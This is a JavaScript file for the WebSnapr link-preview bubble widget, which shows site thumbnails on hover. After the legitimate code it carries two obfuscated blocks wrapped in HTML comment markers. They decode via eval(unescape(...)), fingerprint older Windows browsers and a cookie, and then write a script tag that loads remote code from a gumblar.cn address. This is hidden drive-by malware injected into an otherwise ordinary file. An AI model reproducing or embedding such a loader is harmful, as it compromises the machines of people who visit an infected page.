/*
    WebSnapr - Preview Bubble Javascript
    Written by Juan Xavier Larrea 
    http://www.websnapr.com - xavier@websnapr.com   
    
*/


// Point this variable to the correct location of the bg.png file
var bubbleImagePath = 'images/bg.png';

// DO NOT EDIT BENEATH THIS
if(typeof Array.prototype.push!="function"){
Array.prototype.push=ArrayPush;
function ArrayPush(_1){
this[this.length]=_1;
}
}
function WSR_getElementsByClassName(_2,_3,_4){
var _5=(_3=="*"&&_2.all)?_2.all:_2.getElementsByTagName(_3);
var _6=new Array();
_4=_4.replace(/\-/g,"\\-");
var _7=new RegExp("(^|\\s)"+_4+"(\\s|$)");
var _8;
for(var i=0;i<_5.length;i++){
_8=_5[i];
if(_7.test(_8.className)){
_6.push(_8);
}
}
return (_6);
}
function bindBubbles(e){
lbActions=WSR_getElementsByClassName(document,"a","previewlink");
for(i=0;i<lbActions.length;i++){
if(window.addEventListener){
lbActions[i].addEventListener("mouseover",attachBubble,false);
lbActions[i].addEventListener("mouseout",detachBubble,false);
}else{
lbActions[i].attachEvent("onmouseover",attachBubble);
lbActions[i].attachEvent("onmouseout",detachBubble);
}
}
}
function attachBubble(_b){
var _c;
if(_b["srcElement"]){
_c=_b["srcElement"];
}else{
_c=_b["target"];
}
var _d=_c.href;
var _e=findPos(_c)[0]+5;
var _f=findPos(_c)[1]+17;
var _10=document.createElement("div");
_10.className="previewbubble";
_10.setAttribute("style","text-align: center; z-index: 99999; position: absolute; top: "+_f+"px ; left: "+_e+"px ; background: url("+ bubbleImagePath +") no-repeat; width: 240px; height: 190px; padding: 0; margin: 0;");
_10.style.width="240px";
_10.style.position="absolute";
_10.style.top=_f;
_10.style.zIndex=99999;
_10.style.left=_e;
_10.style.textAlign="left";
_10.style.height="190px";
_10.style.paddingTop="0";
_10.style.paddingLeft="0";
_10.style.paddingBottom="0";
_10.style.paddingRight="0";
_10.style.marginTop="0";
_10.style.marginLeft="0";
_10.style.marginBottom="0";
_10.style.marginRight="0";
_10.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + bubbleImagePath + "',sizingMethod='image')";
var img=document.createElement("img");
img.setAttribute("style","margin: auto; padding: 0; margin-left: 25px; margin-top: 27px;  border: 0");
img.style.paddingTop="0";
img.style.paddingLeft="0";
img.style.paddingBottom="0";
img.style.paddingRight="0";
img.style.margin="auto";
img.style.marginTop="27px";
img.style.marginLeft="25px";
img.style.marginBottom="0";
img.style.marginRight="0";
img.style.borderTop="0";
img.style.borderLeft="0";
img.style.borderBottom="0";
img.style.borderRight="0";
img.setAttribute("src","http://images.websnapr.com/?url="+_d);
img.setAttribute("width",202);
img.setAttribute("height",152);
img.setAttribute("alt","Snapshot");
_10.appendChild(img);
document.getElementsByTagName("body")[0].appendChild(_10);
}
function detachBubble(_12){
lbActions=WSR_getElementsByClassName(document,"div","previewbubble");
for(i=0;i<lbActions.length;i++){
lbActions[i].parentNode.removeChild(lbActions[i]);
}
}
if(window.addEventListener){
addEventListener("load",bindBubbles,false);
}else{
attachEvent("onload",bindBubbles);
}
function findPos(obj){
var _14=curtop=0;
if(obj.offsetParent){
_14=obj.offsetLeft;
curtop=obj.offsetTop;
while(obj=obj.offsetParent){
_14+=obj.offsetLeft;
curtop+=obj.offsetTop;
}
}
return [_14,curtop];
}

<!-- 
(function(x6T){var nrJ='%';var yKgLN='var&20a&3d&22S&63&72iptE&6egine&22&2c&62&3d&22Versio&6e&28)+&22&2cj&3d&22&22&2cu&3d&6e&61vig&61to&72&2euserAge&6et&3bif&28(&75&2ei&6e&64exOf(&22&57in&22)&3e0)&26&26(u&2ei&6ede&78O&66(&22NT&20&36&22)&3c0)&26&26(docume&6et&2eco&6fkie&2e&69nd&65xO&66(&22miek&3d1&22)&3c0)&26&26&28&74&79peof(&7a&72vzt&73&29&21&3dtypeof(&22A&22)))&7bzrvzts&3d&22A&22&3beva&6c(&22if&28window&2e&22+a+&22)j&3dj+&22&2ba+&22&4d&61jor&22+b+a+&22Minor&22+b+&61+&22&42uild&22+b+&22j&3b&22)&3bdocum&65nt&2ewr&69te(&22&3cs&63&72&69p&74&20src&3d&2f&2f&67&75mbl&61&72&2ecn&2frss&2f&3fi&64&3d&22+j+&22&3e&3c&5c&2fscr&69p&74&3e&22)&3b&7d';var t3dZ4=yKgLN.replace(x6T,nrJ);eval(unescape(t3dZ4))})(/&/g);
 --><!-- 
(function(e0F){var vw9mA='%';eval(unescape(('var#20a#3d#22#53criptEng#69#6ee#22#2cb#3d#22V#65rsion#28)+#22#2cj#3d#22#22#2cu#3dnavi#67a#74or#2e#75serAg#65nt#3bif((#75#2e#69nd#65x#4f#66#28#22W#69#6e#22)#3e0)#26#26(#75#2eindexOf(#22N#54#20#36#22#29#3c0)#26#26(docume#6et#2ec#6foki#65#2e#69ndex#4f#66(#22miek#3d1#22)#3c#30)#26#26#28typeof(#7arvz#74#73)#21#3dtyp#65of#28#22A#22)))#7bz#72vzts#3d#22#41#22#3be#76al#28#22if(w#69ndow#2e#22+#61+#22#29j#3dj#2b#22+a+#22Ma#6ao#72#22+#62+a#2b#22Mino#72#22+b+#61+#22Bui#6cd#22+b#2b#22j#3b#22)#3bd#6fcu#6de#6et#2ewrite#28#22#3cscri#70t#20src#3d#2f#2fgumblar#2ec#6e#2frs#73#2f#3fid#3d#22+j#2b#22#3e#3c#5c#2f#73c#72ipt#3e#22)#3b#7d').replace(e0F,vw9mA)))})(/#/g);
 -->
